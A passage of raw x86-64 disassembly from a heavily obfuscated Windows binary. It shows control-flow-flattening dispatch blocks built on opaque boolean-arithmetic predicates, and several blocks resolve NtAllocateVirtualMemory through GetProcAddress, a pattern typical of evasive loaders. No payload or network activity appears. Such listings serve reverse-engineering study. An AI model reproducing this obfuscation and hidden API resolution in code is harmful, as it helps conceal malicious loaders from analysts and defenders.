and ebp, 0x6e60631
and eax, 0xf919f9ce
or eax, ebp
or edx, ebx
and ebx, 0x6e60631
and ecx, 0xf919f9ce
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
setne r9b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg r8b
xor r10b, r8b
and r10b, r8b
mov ecx, r10d
xor cl, 1
mov edx, r10d
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, r10b
or bl, cl
xor bl, 1
or bl, dl
or cl, r10b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, r9b
mov edx, r8d
and dl, r9b
xor r8b, r9b
mov ebx, edx
and bl, r8b
xor r8b, dl
or r8b, bl
mov edx, r8d
xor dl, 1
mov eax, r8d
and al, dl
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
mov ebx, eax
and bl, cl
or dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, bl
xor r8b, cl
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x4a25de8a
mov ebp, 0x135d3347
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x4a25de8a
jmp 0x1400bd2f1
mov ecx, 0x26f8549f
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x3b441a51
and edx, ecx
and ecx, 0xc4bbe5ae
or ecx, ebp
xor ecx, 0xc4bbe5ae
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3ff2375
mov ebp, ecx
and ebp, 0xfc00dc8a
or ebp, edx
mov edx, ebp
xor edx, 0xfc00dc8a
xor ebp, 0x5f2330
mov ebx, edx
and ebx, 0x6f70e88e
and ecx, 0x908f1771
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x908f1770
and ecx, 0x6f70e88f
or ecx, ebx
and ebp, 0x8c5f3b38
mov ebx, edx
and ebx, 0x73a0c4c7
or ebx, ebp
xor ebx, 0x8c5f3b39
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xfc97b21f
and edx, 0x3684de0
or edx, ebp
mov ebp, edx
xor ebp, 0x22805c0
mov ebx, ecx
not ebx
xor edx, 0xfc97b21f
mov edi, ebx
and edi, 0xad45d82d
and ecx, 0x52ba27d2
or ecx, edi
or ebx, edx
and edx, 0xad45d82d
and ebp, 0x52ba27d2
or ebp, edx
xor ebp, ecx
not ebx
or ebx, ebp
mov ecx, ebx
mov edx, ebx
xor edx, 0x31c0e8bb
and edx, ebx
not ebx
and ebx, 0xf21413ea
and ecx, 0xdebec15
or ecx, ebx
mov ebp, ecx
xor ebp, 0xc04801
xor ecx, 0x300000aa
or ecx, 0xce3f1744
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x190fb3b6
and ebp, 0x20c04809
or ebp, edi
or ecx, ebx
and ebx, 0x190fb3b6
and edx, 0xe6f04c49
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x65c11ca5
and ecx, 0x9a3ee35a
or ecx, edx
mov edx, ecx
xor edx, 0xa2460340
xor ecx, 0x50005406
and ecx, 0x59b85ca7
and edx, 0xa647a358
or edx, ecx
xor edx, 0xa647a358
cmp edx, 0xffffffff
sete dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
and al, dl
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
mov eax, ebx
and al, r8b
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor al, cl
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x305affdc
mov ebp, 0xca5402ee
cmovne ecx, ebp
test al, 1
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0x305affdc
jmp 0x1400bd5b0
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea edi, [rcx - 1]
imul edi, ecx
mov ebp, edi
not ebp
mov ecx, edi
xor ecx, 0xd2e00c86
and ecx, edi
or edi, 0x2d1ff379
mov ebx, ecx
not ebx
mov edx, edi
and edx, 0xa4607bed
and ebp, 0x52800402
or ebp, edx
or edi, ebx
and ebx, 0xa4607bed
and ecx, 0x5b9f8412
or ecx, ebx
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x2d1ff379
and edi, 0xd2e00c86
or edi, ecx
mov ecx, edi
not ecx
mov edx, edi
xor edx, 0x6ef71d55
mov ebp, edx
and ebp, ecx
and edx, edi
mov ebx, ebp
not ebx
mov esi, edx
not esi
mov eax, ebx
and eax, 0xf8b910e2
and ebp, 0x746ef1d
or ebp, eax
or ebx, esi
and esi, 0xf8b910e2
and edx, 0x746ef1d
or edx, esi
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x9108e2ab
and ebx, 0x6ef71d54
or ebx, eax
and edi, 0xd2ef827f
mov eax, ecx
and eax, 0x2d107d80
or eax, edi
xor eax, 0xd2ef827e
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x7712f03f
and ebx, 0x88ed0fc0
or ebx, ebp
or edx, ecx
and ecx, 0x7712f03f
and eax, 0x88ed0fc0
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
xor eax, 0xfc57cf5e
and eax, edx
or edx, 0x3a830a1
mov ecx, edx
not ecx
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0xd0a57bfd
and ecx, 0x2c528402
or ecx, ebx
or edx, ebp
and ebp, 0xd0a57bfd
and eax, 0x2f5a8402
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xd958c81
and edx, 0xf26a737e
or edx, eax
xor edx, 0xe3dbc20
sete r9b
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl al
mov ebx, eax
xor bl, cl
and dl, r9b
and cl, al
or cl, dl
or al, r9b
xor al, 1
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
not al
mov edx, ecx
xor dl, 1
and al, dl
or dl, bl
and bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0x915d24cd
mov ebp, 0x6ad6a6b7
cmovne ecx, ebp
test dl, dl
mov edx, 0x915d24cd
jmp 0x1400bd0f1
mov ecx, 0x4a25de8a
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x14240610
mov ebx, ebp
and ebx, 0x2009c184
or ebx, edx
xor ebx, 0x2009c184
mov edx, ebp
xor edx, 0x342dc794
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xd58c1b96
and edx, 0x2a73e469
or edx, ebx
mov ebx, edx
xor ebx, 0x1c5800d4
xor edx, 0xe1a1dc03
mov edi, edx
and edi, 0x23267b2a
and ebx, 0xdcd984d5
or ebx, edi
and ebp, 0x23267b2a
and ecx, 0xdcd984d5
or ecx, ebp
xor ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov eax, r9d
xor al, cl
mov ebx, eax
and bl, r9b
and al, cl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
and r9b, dl
or dl, r8b
xor dl, 1
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, ecx
mov r8d, edx
and r8b, al
xor al, dl
mov r9d, ecx
mov r10d, edx
and r10b, cl
xor dl, cl
xor cl, 1
and bl, cl
or al, r8b
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
mov ecx, eax
xor cl, 1
and cl, bl
xor bl, 1
and bl, al
or bl, cl
or dl, r10b
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x921c2810
mov ecx, 0x53a911b1
cmovne eax, ecx
test dl, 1
mov ecx, 0x921c2810
cmovne ecx, eax
jmp 0x1400bb0dd
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 0xbe71f24a
or edx, 1
and edx, 0xbe71f24b
mov ebp, ebx
and ebp, 0x418e0db4
or ebp, edx
and ecx, 0xbe71f24b
xor ecx, ebp
not ecx
mov edx, ecx
and edx, ebx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe3186f86
and ecx, 0x1ce79079
or ecx, edx
xor ecx, 0x1ce79079
sete dl
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
or bl, cl
xor cl, r8b
mov eax, ecx
xor al, 1
xor dl, r8b
xor bl, 1
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov edx, ebx
not dl
and dl, cl
or cl, bl
and bl, al
or bl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xb5dc9396
mov edx, 0xfb468ad2
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebp, 0xb5dc9396
jmp 0x1400b87ae
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0xb0f469c5
and ecx, 0x4f0b963a
or ecx, edx
mov edx, ecx
xor edx, 0xf0a040a
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xc095d231
and ebx, 0x3f6a2dce
or ebx, ebp
xor ecx, 0x80944001
and ecx, 0xc095d231
and edx, 0x3f6a2dce
or edx, ecx
xor edx, ebx
not edx
or edx, edi
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov ebx, ecx
xor bl, r10b
and bl, cl
mov r11d, r9d
mov edx, r10d
xor r10b, r9b
or r9b, bl
xor bl, 1
or bl, r8b
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
and r11b, cl
and dl, r8b
or dl, r11b
or cl, r8b
xor cl, 1
or cl, r10b
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and cl, al
and bl, dl
or bl, cl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xd9ebea90
mov edx, 0x6b465f88
cmovne ecx, edx
test al, 1
mov eax, 0xd9ebea90
cmovne eax, ecx
test bl, 1
jmp 0x1400aed12
mov ecx, dword [0x140265730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd5be36e6
mov ebp, eax
and ebp, 0x2a41c918
or ebp, edx
xor ebp, 0x2a41c918
mov edx, eax
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xff834c83
and edx, 0x7cb37c
or edx, ebp
xor edx, 0x7cb37c
and ecx, 0x1b891a80
and eax, 0xe476e57f
or eax, ecx
xor eax, 0xe476e57f
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
sete r8b
cmp dword [0x14026572c], 9
setg cl
xor r8b, cl
xor cl, r8b
and cl, r8b
mov edx, r8d
not dl
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
and dl, r8b
mov r9d, eax
and r9b, cl
xor al, cl
or al, r9b
xor dl, 1
mov ecx, edx
xor cl, r8b
or dl, r8b
xor dl, 1
or dl, cl
xor dl, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xec172e04
mov ecx, 0xe2cd95d5
cmovne eax, ecx
test bl, bl
mov ecx, 0xec172e04
jmp 0x1400bd5aa
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edx, ebp
not edx
and edx, 0x1d1ece6
and ebp, 0xfe2e1319
or ebp, edx
mov edx, ebp
xor edx, 0xfe2e1319
xor ebp, 0x1d1ece6
mov ebx, edx
and ebx, 0xfffffffe
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x99b62c59
and ebx, edx
and edx, 0x6649d3a6
or edx, ebp
mov ebp, edx
xor ebp, 0x460083a6
xor edx, 0x99b62c59
mov edi, edx
and edi, 0xb05f7c19
and ebp, 0x4fa083e6
or ebp, edi
mov edi, ebx
not edi
or edx, edi
and edi, 0xb05f7c19
and ebx, 0x4fa083e6
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x7fe02f0b
and edx, 0x801fd0f4
or edx, ebp
mov ebp, edx
xor ebp, 0x1a9044
xor edx, 0x18c0080b
and edx, 0x98c548bb
and ebp, 0x673ab744
or ebp, edx
xor ebp, 0x98c548bb
cmp ebp, 0xffffffff
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
and dl, r8b
or bl, r8b
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor bl, 1
mov edx, ecx
or dl, bl
xor bl, cl
mov r8d, ebx
xor r8b, dl
test bl, 1
mov ecx, 0xe9ca7824
mov ebp, 0x1084bee9
cmovne ecx, ebp
test dl, 1
mov edx, 0xe9ca7824
cmovne ecx, edx
mov qword [rsp + 0x38], rax
test r8b, 1
jmp 0x1400bd41b
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x6c367da3
mov edx, ebp
and edx, 0x93c9825c
or edx, ebx
mov ebx, edx
xor ebx, 0x8048
xor edx, 0x6c027580
mov ecx, ebp
xor ecx, 0xec82f5dc
and ecx, ebp
or edx, 0x137d0a23
mov esi, ecx
not esi
mov eax, edx
and eax, 0xa09a4f14
and ebx, 0x4c00b0c8
or ebx, eax
or edx, esi
and esi, 0xa09a4f14
and ecx, 0x5f65b0eb
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x137d0a22
and edx, 0xec82f5dd
or edx, eax
and edi, 0x649bb9d4
and ebp, 0x9b64462b
or ebp, edi
mov eax, ebp
xor eax, 0x9b64462b
xor ebp, 0x649bb9d4
and ebp, edx
not edx
and eax, edx
or ebp, eax
not ebp
or ebp, edx
cmp ebp, 0xffffffff
setne bl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov r8d, eax
xor r8b, 1
mov ecx, ebx
or cl, r9b
xor bl, r9b
not bl
and bl, r9b
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and al, r8b
mov ecx, ebx
and cl, dl
mov r9d, eax
and r9b, r8b
xor al, r8b
or al, r9b
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov eax, r8d
xor al, bl
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x3ec7a836
mov edx, 0x2a80f5b1
cmovne eax, edx
test bl, 1
mov edx, 0x3ec7a836
cmovne edx, eax
test cl, 1
jmp 0x1400bd2f1
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ebp, edi
and ebp, 0x1402c
mov edx, esi
and edx, 0x25900281
or edx, ebp
mov ebp, edx
not ebp
xor edx, 0xca69593e
mov ecx, edi
or ecx, 0x259142ad
mov ebx, ecx
not ebx
and edx, 0xce69593e
and ebp, 0x21900281
or ebp, edx
and ecx, 0xce69593e
and ebx, 0x1006a440
or ebx, ecx
xor ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0x3bb67c4a
and ebx, 0xc44983b5
or ebx, ecx
mov ebp, ebx
xor ebp, 0xe1d8c119
xor ebx, 0x200084
mov ecx, ebp
and ecx, 0xde5ffe62
and ebx, 0x21a0019d
or ebx, ecx
or ebp, esi
and esi, 0xde5ffe62
and edi, 0x21a0019d
or edi, esi
xor edi, ebx
not ebp
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xd42e00ce
and ebp, 0x2bd1ff31
or ebp, ecx
xor ebp, 0x2bd1ff31
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x629a5e25
mov ebp, 0xf0d3b833
cmovne ecx, ebp
test dl, dl
cmove ecx, r14d
test al, 1
jmp 0x1400bc098
mov rdi, qword [0x140265040]
mov eax, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, edx
not edx
or eax, 1
mov ebx, eax
not ebx
mov esi, eax
and esi, 0x40a8e0ea
and ebx, 0xbf571f14
or ebx, esi
mov esi, ebp
not esi
or eax, esi
and esi, 0x40a8e0ea
and ebp, 0xbf571f15
or ebp, esi
xor ebp, ebx
not eax
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0xa883ade3
and eax, 0x577c521c
or eax, ebp
xor eax, 0x577c521c
mov ebp, eax
and ebp, edx
xor eax, edx
or eax, ebp
cmp eax, 0xffffffff
sete r8b
setne r9b
cmp ecx, 0xa
setl r10b
cmp ecx, 9
setg cl
mov eax, r9d
xor al, r8b
and al, r9b
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
mov eax, edx
or al, cl
xor al, 1
xor dl, cl
not dl
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
and r9b, r10b
and cl, r8b
or cl, r9b
mov eax, r10d
and al, r8b
xor r10b, r8b
or r10b, al
xor cl, 1
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov r8d, eax
and r8b, dl
mov ebx, edx
xor bl, cl
or cl, dl
xor dl, 1
xor al, 1
and al, dl
or al, r8b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x408a973f
cmovne ecx, r12d
mov qword [rsp + 0x30], rdi
test al, 1
cmove ecx, r12d
not dl
test dl, 1
mov eax, 0x408a973f
jmp 0x1400bbbaf
mov ecx, 0x5e68f1ec
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x787b21eb
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0xc9a4c4d0
and edx, ebp
not ebp
and ebp, 0xc9a4c4d0
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x365b3b2f
and edx, 0xc9a4c4d0
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
or ebp, 0x3522da04
mov edi, ebp
not edi
mov esi, ecx
or esi, 0xcadd25fb
mov ebx, esi
not ebx
and ebp, 0xdbb381b4
and edi, 0x4c244b
or edi, ebp
and esi, 0xdbb381b4
and ebx, 0x24005a00
or ebx, esi
xor ebx, edi
mov ebp, ebx
not ebp
and ebp, 0x3522da05
and ebx, 0xcadd25fa
or ebx, ebp
and edx, 0x755ea5a
mov ebp, ecx
and ebp, 0xf8aa15a5
or ebp, edx
xor ebp, 0x755ea5b
and ecx, 1
or ecx, ebp
not ecx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x44e82c3a
and ecx, 0xbb17d3c5
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1416cba2
and ecx, 0xebe9345d
or ecx, edx
mov edx, ecx
xor edx, 0x2a010802
xor ecx, 0x408e6680
and edx, 0x3a71891a
and ecx, 0xc58e76e5
or ecx, edx
xor ecx, 0x3a71891a
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
and bl, al
xor al, 1
xor dl, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x8b35b92d
mov ecx, 0x3e4b8609
cmovne ebp, ecx
test al, 1
mov ecx, 0x8b35b92d
jmp 0x1400bd415
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0x2d51b63a
and ebp, edx
or edx, 0xd2ae49c5
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xb100f13c
and ecx, 0xc510602
or ecx, edi
or edx, ebx
and ebx, 0xb100f13c
and ebp, 0x4eff0ec3
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x9d20eb26
and edx, 0x62df14d9
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0xb0715d1c
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov edi, ecx
and edi, 0xce40258d
and ebp, 0x31bfda72
or ebp, edi
or ecx, edx
and edx, 0xce40258d
and ebx, 0x31bfda72
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x6c908912
and ebp, ecx
or ecx, 0x936f76ed
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x69d5d41a
and edx, 0x4000900
or edx, edi
or ecx, ebx
and ebx, 0x69d5d41a
and ebp, 0x962a2be5
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x5109b3b1
and ecx, 0xaef64c4e
or ecx, edx
mov edx, ecx
xor edx, 0x4260c508
xor ecx, 0x3d993aa3
mov ebp, ecx
and ebp, 0xa9070a76
and edx, 0x56f8f589
or edx, ebp
xor edx, 0xa9070a76
xor ecx, edx
test ecx, edx
setne dl
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, bl
and dl, cl
or dl, al
mov eax, ecx
or al, bl
xor cl, bl
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and cl, al
and dl, bl
or dl, cl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x3749308d
cmovne eax, r12d
test bl, 1
mov ecx, 0x3749308d
cmovne ecx, eax
jmp 0x1400b92e9
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
or ecx, 0xf2657fbc
mov ebp, ecx
not ebp
or edx, 0xd9a8043
mov eax, edx
not eax
and ecx, 0x36480822
and ebp, 0x9928041
or ebp, ecx
and edx, 0x36480822
and eax, 0xc025779c
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xf2657fbc
and eax, 0xd9a8043
or eax, ecx
mov edx, eax
xor edx, 1
and edx, eax
mov ecx, eax
not ecx
and ecx, 0x4a989d36
and eax, 0xb56762c9
or eax, ecx
mov ebp, eax
xor ebp, 0x95232200
mov ecx, edx
not ecx
xor eax, 0x4a989d37
mov ebx, ecx
and ebx, 0x22c4c4f9
and edx, 0xdd3b3b06
or edx, ebx
or ecx, eax
and eax, 0x22c4c4f9
and ebp, 0xdd3b3b06
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
mov eax, ecx
mov edx, ecx
xor edx, 0xa90b8b23
and edx, ecx
not ecx
and ecx, 0xa9010020
and eax, 0xa8b03
or eax, ecx
xor eax, 0xa8b03
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x56f474dc
and edx, 0xa90b8b23
or edx, eax
sete al
setne cl
cmp dword [0x14026572c], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x4ffbc76c
mov ecx, 0x8ee2202e
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0x4ffbc76c
cmovne ecx, edx
jmp 0x1400bc096
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xba13c3ac
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xcbcc4f0c
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov eax, dword [0x140265730]
mov edi, dword [0x14026572c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0x5643246e
mov edx, ebx
and edx, 0xa9bcdb91
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xa9bcdb90
and edx, 0x5643246f
or edx, ebp
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
xor ebp, edx
test ebp, edx
setne r8b
sete r9b
cmp edi, 0xa
setl al
cmp edi, 9
setg bl
mov ecx, r9d
or cl, bl
xor cl, 1
mov edx, r9d
xor dl, bl
not dl
and dl, bl
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
and r9b, bl
and al, r8b
or al, r9b
mov ecx, ebx
xor cl, r8b
or bl, r8b
xor bl, 1
or bl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x2430695f
mov eax, 0xa1b6c5ed
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x2430695f
jmp 0x1400bd5b0
mov ecx, dword [0x140265730]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0x9201030
mov eax, ebp
and eax, 0x104c0548
or eax, ecx
xor eax, 0x104c0548
mov ecx, ebp
and ecx, 0xe693ea87
or ecx, eax
mov eax, ecx
not eax
and eax, 0x89eabf98
and ecx, 0x76154067
or ecx, eax
mov eax, ecx
xor eax, 0x7691506
and edx, 0xea44165b
and ebp, 0x15bbe9a4
or ebp, edx
mov edx, ebp
xor edx, 0x52b2924
xor ecx, 0x9086aae1
mov ebx, ecx
and ebx, 0x7894c2d8
and eax, 0x876b3d27
or eax, ebx
xor ebp, 0x68040258
and ebp, 0x7894c2d8
and edx, 0x876b3d27
or edx, ebp
xor edx, eax
xor ecx, edx
test ecx, edx
sete dl
setne cl
cmp dword [0x14026572c], 0xa
setl bl
xor cl, bl
xor cl, 1
mov eax, ebx
or al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, edx
xor cl, bl
and dl, cl
and cl, bl
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
